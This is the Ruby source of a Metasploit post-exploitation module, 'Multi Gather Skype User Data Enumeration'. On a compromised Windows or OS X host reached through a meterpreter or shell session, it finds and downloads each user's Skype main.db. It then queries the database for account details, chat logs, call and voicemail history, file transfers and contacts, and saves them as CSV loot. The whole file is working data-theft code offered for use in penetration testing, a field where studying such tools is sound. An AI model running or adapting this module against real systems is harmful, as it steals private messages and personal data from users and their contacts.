metasploit-framework/modules/post/multi/gather/skype_enum.rb

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##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'csv'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/osx/system'
class Metasploit3 < Msf::Post
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include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Skype User Data Enumeration',
'Description' => %q{
This module will enumerate Skype account settings, contact list, call history, chat logs,
file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win', 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
register_advanced_options(
[
# Set as an advanced option since it can only be useful in shell sessions.
OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]),
], self.class)
end
# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
# Ensure that SQLite3 gem is installed
begin
require 'sqlite3'
rescue LoadError
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
return
end
if (session.platform =~ /java/) || (session.platform =~ /osx/)
# Make sure a Java Meterpreter on anything but OSX will exit
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
print_error("This session type and platform are not supported.")
return
end
# Iterate thru each user profile on as OSX System for users not in the default install
users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact
users.each do |p|
if check_skype("#{p['dir']}/Library/Application Support/", p['name'])
db_in_loot = download_db(p)
# Exit if file was not successfully downloaded
return if db_in_loot.nil?
process_db(db_in_loot,p['name'])
end
end
elsif (session.platform =~ /win/ and session.type =~ /meter/)
# Iterate thru each user profile in a Windows System using Meterpreter Post API
grab_user_profiles().each do |p|
if check_skype(p['AppData'],p['UserName'])
db_in_loot = download_db(p)
process_db(db_in_loot,p['UserName'])
end
end
else
print_error("This session type and platform are not supported.")
end
end
# Check if Skype is installed. Returns true or false.
def check_skype(path, user)
dirs = []
if session.type =~ /meterpreter/
session.fs.dir.foreach(path) do |d|
dirs << d
end
else
dirs = cmd_exec("ls -m \"#{path}\"").split(", ")
end
dirs.each do |dir|
if dir =~ /Skype/
print_good("Skype account found for #{user}")
return true
end
end
print_error("Skype is not installed for #{user}")
return false
end
# Download file using Meterpreter functionality and returns path in loot for the file
def download_db(profile)
if session.type =~ /meterpreter/
if sysinfo['OS'] =~ /Mac OS X/
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
else
file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)
end
else
file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact
end
file_loc = store_loot("skype.config",
"binary/db",
session,
"main.db",
"Skype Configuration database for #{profile['UserName']}"
)
file.each do |db|
if session.type =~ /meterpreter/
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
print_status("Downloading #{maindb}")
session.fs.file.download_file(file_loc,maindb)
else
print_status("Downloading #{db}")
# Giving it 1:30 minutes to download since the file could be several MB
maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT'])
if maindb.nil?
print_error("Could not download the file. Set the TIMEOUT option to a higher number.")
return
end
# Saving the content as binary so it can be used
output = ::File.open(file_loc, "wb")
maindb.each_line do |d|
output.puts(d)
end
output.close
end
print_good("Configuration database saved to #{file_loc}")
end
return file_loc
end
# Saves rows returned from a query to a given CSV file
def save_csv(data,file)
CSV.open(file, "w") do |csvwriter|
data.each do |record|
csvwriter << record
end
end
end
# Extracts the data from the DB in to a CSV file
def process_db(db_path,user)
db = SQLite3::Database.new(db_path)
# Extract information for accounts configured in Skype
print_status("Enumerating accounts")
user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
datetime("timestamp","unixepoch")"registration_timestamp",
"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
"birthday", "gender", "languages", "country", "province", "city", "phone_home",
"phone_office", "phone_mobile", "emails", "homepage", "about",
datetime("profile_timestamp","unixepoch"), "received_authrequest",
"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
"verified_email", "verified_company" FROM Accounts;')
# Check if an account exists and if it does enumerate if not exit.
if user_rows.length > 1
user_info = store_loot("skype.accounts",
"text/plain",
session,
"",
"skype_accounts.csv",
"Skype User #{user} Account information from configuration database."
)
print_good("Saving account information to #{user_info}")
save_csv(user_rows,user_info)
else
print_error("No skype accounts are configured for #{user}")
return
end
# Extract chat log from the database
print_status("Extracting chat message log")
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
datetime("timestamp","unixepoch"), "body_xml",
"remote_id" FROM "Messages" WHERE type == 61;')
chat_log = store_loot("skype.chat",
"text/plain",
session,
"",
"skype_chatlog.csv",
"Skype User #{user} chat log from configuration database."
)
if cl_rows.length > 1
print_good("Saving chat log to #{chat_log}")
save_csv(cl_rows, chat_log)
else
print_error("No chat logs where found!")
end
# Extract file transfer history
print_status("Extracting file transfer history")
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
"filepath", "filename", "filesize", "bytestransferred",
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
file_transfer = store_loot("skype.filetransfer",
"text/csv",
session,
"",
"skype_filetransfer.csv",
"Skype User #{user} file transfer history."
)
# Check that we have actual file transfers to report
if ft_rows.length > 1
print_good("Saving file transfer history to #{file_transfer}")
save_csv(ft_rows, file_transfer)
else
print_error("No file transfer history was found!")
end
# Extract voicemail history
print_status("Extracting voicemail history")
vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
"size", "path", "xmsg" FROM "Voicemails";')
voicemail = store_loot("skype.voicemail",
"text/csv",
session,
"",
"skype_voicemail.csv",
"Skype User #{user} voicemail history."
)
if vm_rows.length > 1
print_good("Saving voicemail history to #{voicemail}")
save_csv(vm_rows, voicemail)
else
print_error("No voicemail history was found!")
end
# Extracting call log
print_status("Extracting call log")
call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
"is_incoming", "is_conference", "is_on_hold",
datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
call_log = store_loot("skype.callhistory",
"text/csv",
session,
"",
"skype_callhistory.csv",
"Skype User #{user} call history."
)
if call_rows.length > 1
print_good("Saving call log to #{call_log}")
save_csv(call_rows, call_log)
else
print_error("No call log was found!")
end
# Extracting contact list
print_status("Extracting contact list")
ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
"birthday", "languages", "country", "province", "city", "phone_home",
"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
"main_phone", "phone_home_normalized", "phone_office_normalized",
"phone_mobile_normalized", "verified_email", "verified_company"
FROM "Contacts";')
contact_log = store_loot("skype.contactlist",
"text/csv",
session,
"",
"skype_contactlist.csv",
"Skype User #{user} contact list."
)
if ct_rows.length > 1
print_good("Saving contact list to #{contact_log}")
save_csv(ct_rows, contact_log)
end
end
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end